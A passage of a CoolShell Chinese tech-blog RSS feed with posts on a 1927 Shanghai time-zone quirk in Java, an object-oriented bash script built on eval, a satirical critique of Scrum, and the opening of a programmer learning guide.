id=\"more-5075\"></span></p>\n<p>下面，让我们来看看程序的输出：（是的，差出353秒钟来）</p>\n<blockquote><p><code>-1325491905<br />\n-1325491552<br />\n353</code></p></blockquote>\n<p>Stackoverflow真的很强大，在大家要求发问者给出时区（中国上海）的15分钟内就解决了这个问题。相当的令人惊叹。原因是什么呢？大家需要围观一下<a href=\"http://www.timeanddate.com/worldclock/clockchange.html?n=237&amp;year=1927\" target=\"_blank\" rel=\"noopener\">这个网页</a>。（为了怕被墙或是被和谐，我已习惯了抓屏保存，如果有人能开发一个软件能随看随抓，然后如果源被删了可以P2P的从已下载了的人那里获取，那么这个软件应该会很有国内市场。蛋扯远了，Sorry）</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5077\" title=\"Time changes in year 1927 for China – ShanghaiS\" src=\"https://coolshell.cn/wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS.png\" alt=\"\" width=\"598\" height=\"335\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS.png 747w, https://coolshell.cn/wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS-300x168.png 300w, https://coolshell.cn/wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS-481x270.png 481w\" sizes=\"(max-width: 598px) 100vw, 598px\" /></p>\n<p>从上图中我们可以看到—— 在1927年12月31日23:59:59时，往后面的一秒应该是1928年1月1日 0:0:0，但是这个时间被往后调整了5分52秒，而成了，1927年12月31日的，23:54:08，于是，完成了352秒的穿越。于是我们的Java程序出了这样的一个问题，这真是一个奇迹。</p>\n<p>为什么会有这个调整呢？我居然Google不到，不过，我在这个timeanddate.com上查看了一下北京的时间，发现北京的时间只到1970年，于是我猜想，中国近代历史乱七八糟的政权交替可能是这个原因。于是我看 了一下北京和上海物理时差，果然，北京上海的时差在5分50秒左右。<strong>因此，我觉得这个时间的变化应该是从上海（南京）时间变成了北京时间</strong>。至于你信不信，反正我是信了。</p>\n<p>从这个事，我得到下面的一些启示：</p>\n<ol>\n<li>Java在的时区实现相当的强大啊。这种细节都能考虑到。</li>\n<li>本地时间的完全就是一锅粥，应该尽量不用。</li>\n<li>如果你要开发和时区有关系的程序，你的系统里一定要使用GMT标准时间，仅在显示的时候才转成本地时间。</li>\n</ol>\n<div>各位无证程序员们，看到这个例子，你们是不是感到编程的压力了？呵呵。</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li><li ><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"如何写出无法维护的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_title\">如何写出无法维护的代码</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" alt=\"程序员眼中的编程语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_title\">程序员眼中的编程语言</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5075.html\">你确信你了解时间吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5075.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>93</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>面向对象的Shell脚本</title>\n\t\t<link>https://coolshell.cn/articles/5035.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5035.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 21 Jul 2011 04:39:11 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[OOP]]></category>\n\t\t<category><![CDATA[Shell]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5035</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>还记得以前那个用算素数的正则表达式吗？编程这个世界太有趣了，总是能看到一些即别出心裁的东西。你有没有想过在写Shell脚本的时候可以把你的变量和函数放到一个类中...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5035.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5035.html\">面向对象的Shell脚本</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>还记得以前那个用<a title=\"检查素数的正则表达式\" href=\"https://coolshell.cn/articles/2704.html\" target=\"_blank\">算素数的正则表达式</a>吗？编程这个世界太有趣了，总是能看到一些即别出心裁的东西。你有没有想过在写Shell脚本的时候可以把你的变量和函数放到一个类中？不要以为这不可能，这不，我在<a href=\"http://lab.madscience.nl/oo.sh.txt\" target=\"_blank\">网上</a>又看到了一个把Shell脚本整成面向对象的东西。Shell本来是不支持的，需要自己做点东西，能搞出这个事事的人真的是hacker啊。</p>\n<p>当然，这里并不是真正的面向对象，因为其只是封装罢了，还没有支持继承和多态。最变态的是他居然还支持typeid，靠！</p>\n<p>下面让我们看看他是怎么来做的。下面的脚本可能会有点费解。本想解释一下，后来想想，还是大家自己专研一下吧，其实看懂也不难，给大家提几个点吧。</p>\n<ol>\n<li>我们可以看到，下面的这个脚本定义了class,  func, var, new 等函数，其实这些就是所谓的关键字。</li>\n<li>class是一个函数，主要是记录类名。</li>\n<li>func和var实际上是把成员函数名和成员变量记成有相同前缀的各种变量。</li>\n<li>new方法主要是记录实例。大家重点看看new函数里的那个for循环，最核心的就在那里了。</li>\n</ol>\n<div>脚本如下所示：</div>\n<div><span id=\"more-5035\"></span></div>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">#!/bin/bash\n\n# -------------------------------------------------------------------\n# OO support functions\n# Kludged by Pim van Riezen &lt;pi@madscience.nl&gt;\n# -------------------------------------------------------------------\nDEFCLASS=&quot;&quot;\nCLASS=&quot;&quot;\nTHIS=0\n\nclass() {\n  DEFCLASS=&quot;$1&quot;\n  eval CLASS_${DEFCLASS}_VARS=&quot;&quot;\n  eval CLASS_${DEFCLASS}_FUNCTIONS=&quot;&quot;\n}\n\nstatic() {\n  return 0\n}\n\nfunc() {\n  local varname=&quot;CLASS_${DEFCLASS}_FUNCTIONS&quot;\n  eval &quot;$varname=\\&quot;\\${$varname}$1 \\&quot;&quot;\n}\n\nvar() {\n  local varname=&quot;CLASS_${DEFCLASS}_VARS&quot;\n  eval $varname=&quot;\\&quot;\\${$varname}$1 \\&quot;&quot;\n}\n\nloadvar() {\n  eval &quot;varlist=\\&quot;\\$CLASS_${CLASS}_VARS\\&quot;&quot;\n  for var in $varlist; do\n    eval &quot;$var=\\&quot;\\$INSTANCE_${THIS}_$var\\&quot;&quot;\n  done\n}\n\nloadfunc() {\n  eval &quot;funclist=\\&quot;\\$CLASS_${CLASS}_FUNCTIONS\\&quot;&quot;\n  for func in $funclist; do\n    eval &quot;${func}() { ${CLASS}::${func} \\&quot;\\$*\\&quot;; return \\$?; }&quot;\n  done\n}\n\nsavevar() {\n  eval &quot;varlist=\\&quot;\\$CLASS_${CLASS}_VARS\\&quot;&quot;\n  for var in $varlist; do\n    eval &quot;INSTANCE_${THIS}_$var=\\&quot;\\$$var\\&quot;&quot;\n  done\n}\n\ntypeof() {\n  eval echo \\$TYPEOF_$1\n}\n\nnew() {\n  local\n  local cvar=&quot;$2&quot;\n  shift\n  shift\n  local id=$(uuidgen | tr A-F a-f | sed -e &quot;s/-//g&quot;)\n  eval TYPEOF_${id}=$class\n  eval $cvar=$id\n  local funclist\n  eval &quot;funclist=\\&quot;\\$CLASS_${class}_FUNCTIONS\\&quot;&quot;\n  for func in $funclist; do\n    eval &quot;${cvar}.${func}() {\n      local t=\\$THIS; THIS=$id; local c=\\$CLASS; CLASS=$class; loadvar;\n      loadfunc; ${class}::${func} \\&quot;\\$*\\&quot;; rt=\\$?; savevar; CLASS=\\$c;\n      THIS=\\$t; return $rt;\n    }&quot;\n\n  done\n  eval &quot;${cvar}.${class} \\&quot;\\$*\\&quot; || true&quot;\n}</pre>\n<p>下面，让我们来看看例程吧。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"># -------------------------------------------------------------------\n# Example code\n# -------------------------------------------------------------------\n\n# class definition\nclass Storpel\n  func Storpel\n  func setName\n  func setQuality\n  func print\n  var name\n  var quality\n\n# class implementation\nStorpel::Storpel() {\n  setName &quot;$1&quot;\n  setQuality &quot;$2&quot;\n  if [ -z &quot;$name&quot; ]; then setName &quot;Generic&quot;; fi\n  if [ -z &quot;$quality&quot; ]; then setQuality &quot;Normal&quot;; fi\n}\n\nStorpel::setName() { name=&quot;$1&quot;; }\nStorpel::setQuality() { quality=&quot;$1&quot;; }\nStorpel::print() { echo &quot;$name ($quality)&quot;; }\n\n# usage\nnew Storpel one &quot;Storpilator 1000&quot; Medium\nnew Storpel two\nnew Storpel three\n\ntwo.setName &quot;Storpilator 2000&quot;\ntwo.setQuality &quot;Strong&quot;\n\none.print\ntwo.print\nthree.print\n\necho &quot;&quot;\n\necho &quot;one: $one ($(typeof $one))&quot;\necho &quot;two: $two ($(typeof $two))&quot;\necho &quot;three: $three ($(typeof $two))&quot;</pre>\n<p>&nbsp;</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/figure1-150x150.gif\" alt=\"Unix考古记：一个“遗失”的shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_title\">Unix考古记：一个“遗失”的shell</a></li><li ><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/awk-150x150.jpg\" alt=\"AWK 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_title\">AWK 简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"如此理解面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_title\">如此理解面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.01-150x150.png\" alt=\"你可能不知道的Shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_title\">你可能不知道的Shell</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5035.html\">面向对象的Shell脚本</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5035.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>17</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>为什么Scrum不行？</title>\n\t\t<link>https://coolshell.cn/articles/5044.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5044.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 21 Jul 2011 00:37:03 +0000</pubDate>\n\t\t\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[agile]]></category>\n\t\t<category><![CDATA[Scrum]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5044</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这篇文章的原文在这里（原文链接）（下文不是全译，也不是部分译，我只是把其总结，有我自己的发挥，但是原意大致不变），这篇文章完全是在调侃Scrum的，作者第一段就...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5044.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5044.html\">为什么Scrum不行？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-21319 size-thumbnail\" src=\"https://coolshell.cn/wp-content/uploads/2011/07/hat-150x150.jpeg\" alt=\"\" width=\"150\" height=\"150\" />这篇文章的原文在这里（<a title=\"Why Scrum will never work\" href=\"http://maurits.wordpress.com/2011/07/13/why-scrum-will-never-work/\" target=\"_blank\" rel=\"noopener\">原文链接</a>）（<strong>下文不是全译，也不是部分译，我只是把其总结，有我自己的发挥，但是原意大致不变</strong>），这篇文章完全是在调侃Scrum的，作者第一段就是一个免费声明，其说他是<a href=\"http://en.wikipedia.org/wiki/Scrum_(development)\">Scrum</a>和其它敏捷方法的big fan， 他也认为Scrum 100% 对 软件开发可行。作者使用Scrum 5年了，也公开作过几次敏捷的分享会。他觉得写这篇文章只是为了好玩，因为他们戴上<a href=\"http://en.wikipedia.org/wiki/Edward_de_Bono\">Edward de Bono</a> 的 <a href=\"http://en.wikipedia.org/wiki/Six_Thinking_Hats#Black_hat_.E2.80.93_Being_Cautious\">black hat</a> （黑礼帽 &#8211; 是6个思考之帽中的一种——负面思考，思考事物的负面因素，这样才知道：它会起作用吗？缺点是什么？它有什么问题？为什么不能做。）</p>\n<p>因为本人经常站在Agile的风口浪尖，所以我有必要也来一个“免责声明”。Shit！其实我想来的是“<strong>不免责声明</strong>” ——<strong>下文中的九大原因是对中国的各种Agile实践者咨询师不注重实际只重方法论的批判</strong>，<strong>本人必然要和那种只以流程方法论为中心的软件开发斗争到底</strong>。其实我没有那么嚣张，<strong><span style=\"color: #ff0000;\">我只是想说，下面的这些东西相当的现实。</span><span style=\"color: #ff0000;\">希望各种Scrum的实践者们认识到这些问题，从而可以让你们明白软件开发中的人的重要性</span></strong>。</p>\n<p><strong>Reason 1</strong>:  <a href=\"http://en.wikipedia.org/wiki/Scrum_(development)\">Scrum</a> 的基石是相信人。创造一个安全的环境，这样每个人都能相互学习，相互直言。但是，这是不行的，这世上有很多人并不关心这些，而且政治和竞争到处都是，办公室里无小事，你和别人交心，你相信他们，最终受伤的你自己。你真的以为那里有空间让你可以去犯错，去冒险吗？别天真了！你啊，too young, too simple, sometimes naive!</p>\n<p><strong>Reason 2</strong>: <a href=\"http://en.wikipedia.org/wiki/Scrum_(development)\">Scrum</a> 认为只要给员工足够多的自由员工就能做得最好。这该死是理论是基于什么玩意？不可能，人的天性是懒惰的，他们才不会把事做好的，他们只会做相应报酬的工作量，还可能基本还达不到其相应的报酬，大多数人都在混日子啊。尤其是和经理比起来，谁不想能尽快地成为经理或Team leader啊，因为那样他们就可以即不干活，又挣得多。另外，你给他们自由，你就会发现，他们会只会做他们感兴趣的事，要么聊QQ，要么打游戏，看闲书，反正不干正事。直到你催了，他们才动一动。</p>\n<p><span id=\"more-5044\"></span></p>\n<p><strong>Reason 3</strong>: 因为前面的原因，所以，我们仍然要把一个PM放在Scrum团队的上面做管理，这样才会有产出。于是，PM给团队分配任何，管得细枝末节，事无巨细，天天让你做进度汇报，等等。直至把团队拖垮。</p>\n<p><strong>Reason 4</strong>: <a href=\"http://en.wikipedia.org/wiki/Scrum_(development)\">Scrum</a> 只不过是一个流程。这世上有太多的流程，尤其是那那些操CMMi的公司。几乎所有玩CMMi流程的公司，你都能看到的是员工都是那一副副苦逼的脸。所以，Scrum的流程同样会这样。因为这些都不是开发团队自发出来的，而是上面管你喜欢不喜欢按给你的。 Scrum 根本不可能增进你的软件质量和技术，只能是优秀的人才才可能！使用Scrum的公司都是些吝啬鬼，他们不愿花大钱招优秀的人，他们妄图使用Scrum这种东西让现有的这些廉价劳动力发挥更大的生产效率，Scrum成了push程序员最有用的工具。</p>\n<p><strong>Reason 5</strong>: <a href=\"http://en.wikipedia.org/wiki/Scrum_(development)\">Scrum</a> delivers ‘business value’。不是这样的，实际上，Scrum不可能。这有很多原因。真正了解业务的那帮人根本不可能加入项目团队，那些人谁TMD愿意和苦逼的技术人员加班啊。 那些人喜欢和我们的用户吃吃喝喝，花天酒地的，根本不会和你们那些奇怪的东西（如：backlog）或是那堆ugly的内向古怪的技术人员打交道，更别说什么技术了。所以，你的团队就像一个客服团队或救火队一样疲于奔命。</p>\n<p><strong>Reason 6</strong>: 一个敏捷的团队应该是持续进步的。这就是为什么Scrum总是在问什么干得好，什么需要改进，并定义行动方案。你真的以为员工想进步吗？让他们不得不去想想自己和团队怎么进步，然后他们还不得不去执行行动方案。别天真了，人的天性是不喜欢改变的，人的天性是习惯于一些按部就般的事的，也许那样做令人讨厌，但是人家还是能干点东西出来。如果你逼着人家改变，你就是在压迫人家，人家自然会反抗。</p>\n<p><strong>Reason 7</strong>: Product Owner 专注于 ‘what’ 和 ‘why’ 的问题，开发团队决定 ‘how’。很不错的分工，于是可以造就一个即高速有重质量的团队。然而，这根本不行。你的Product Owner马上就想要这个功能，他才不管你的软件开发的技术难题，人家只要快，要你meet deadline，要你给我们重要的客户做出承诺。另外，你千万不要以为你们可以哄走这个初级的product owner，因为他的后台是直接汇报到高层管理。你作为一个程序员可能只是其个小部门的一个小喽啰，或者只是外包公司，你觉得可能吗？你觉得建立信任可能吗？</p>\n<p><strong>Reason 8</strong>: 软件质量和生产率成正比。也就是说，质量越高，生产率越高。如果质量不高，你开发效率就会低下，但是谁管呢？我们朝九晚五的上班，质量好了也是做8小时，质量差了也是做8小时，无所为嘛。另外，我们的 project manager (或者是Scrum master!) 总是会批评我们没有按计划完成。所以，这根本 不可能。</p>\n<p><strong>Reason 9</strong>: “是的，如果我们只做需要的功能，那么我们就会最低的成本，对吗？”，为什么这世上总是会有这些幼稚的人？这种事怎么可能啊。很多很多的银行或保险公司的项目在你还没有启动项目前就谈好了一个价格（可能还会有回扣），为了打单子，销售什么都干得出来，让你去做项目是因为你是廉价劳动力，而且，他们会不断地加需求，因为软件合同谈好的价格时候，连需求都没有，你去做了才有，还是模糊和不确定或根本就是错的，然后需求是越来越多，越改越多。等你精疲力尽的时候，你才意识到，销售早就把你卖了。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-21320\" src=\"https://coolshell.cn/wp-content/uploads/2011/07/dilberttrust.gif\" alt=\"\" width=\"550\" height=\"171\" /></p>\n<p>爽啊，戴着黑礼帽思考问题比我想像中的要有趣得多，现在我必需要把它摘下来了。</p>\n<p><strong>看完这篇文章，你觉得是人的问题还是软件开发方法的问题？</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"在新浪微博上关于敏捷的一些讨论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_title\">在新浪微博上关于敏捷的一些讨论</a></li><li ><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/fight-150x150.jpg\" alt=\"“单元测试要做多细？”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_title\">“单元测试要做多细？”</a></li><li ><a href=\"https://coolshell.cn/articles/7657.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/hudsonCI2-150x150.jpg\" alt=\"持续部署，并不简单！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7657.html\" class=\"wp_rp_title\">持续部署，并不简单！</a></li><li ><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"Test-Driven Development？别逗了\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_title\">Test-Driven Development？别逗了</a></li><li ><a href=\"https://coolshell.cn/articles/5625.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"“品质在于构建过程”吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5625.html\" class=\"wp_rp_title\">“品质在于构建过程”吗？</a></li><li ><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Bob大叔和Jim Coplien对TDD的论战\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_title\">Bob大叔和Jim Coplien对TDD的论战</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5044.html\">为什么Scrum不行？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5044.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>102</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序员技术练级攻略</title>\n\t\t<link>https://coolshell.cn/articles/4990.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4990.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 18 Jul 2011 02:31:22 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4990</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>注：该文最新的版本在这里《程序员技术练级攻略（2018版）》（需要付费阅读） 月光博客6月12日发表了《写给新手程序员的一封信》，翻译自《An open let...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4990.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-5006\" title=\"程序员技术练级入略\" src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer.png\" alt=\"\" width=\"258\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer.png 258w, https://coolshell.cn/wp-content/uploads/2011/07/programmer-232x270.png 232w\" sizes=\"(max-width: 258px) 100vw, 258px\" /><strong><span style=\"color: #cc0000; font-size: 16pt;\">注：该文最新的版本在这里</span>《<a style=\"font-size: 16pt;\" href=\"https://coolshell.cn/articles/18360.html\">程序员技术练级攻略（2018版）</a>》<span style=\"color: #cc0000; font-size: 16pt;\">（需要付费阅读）</span></strong></p>\n<p>月光博客6月12日发表了《<a href=\"http://www.williamlong.info/archives/2700.html\" target=\"_blank\" rel=\"noopener\">写给新手程序员的一封信</a>》，翻译自《<a 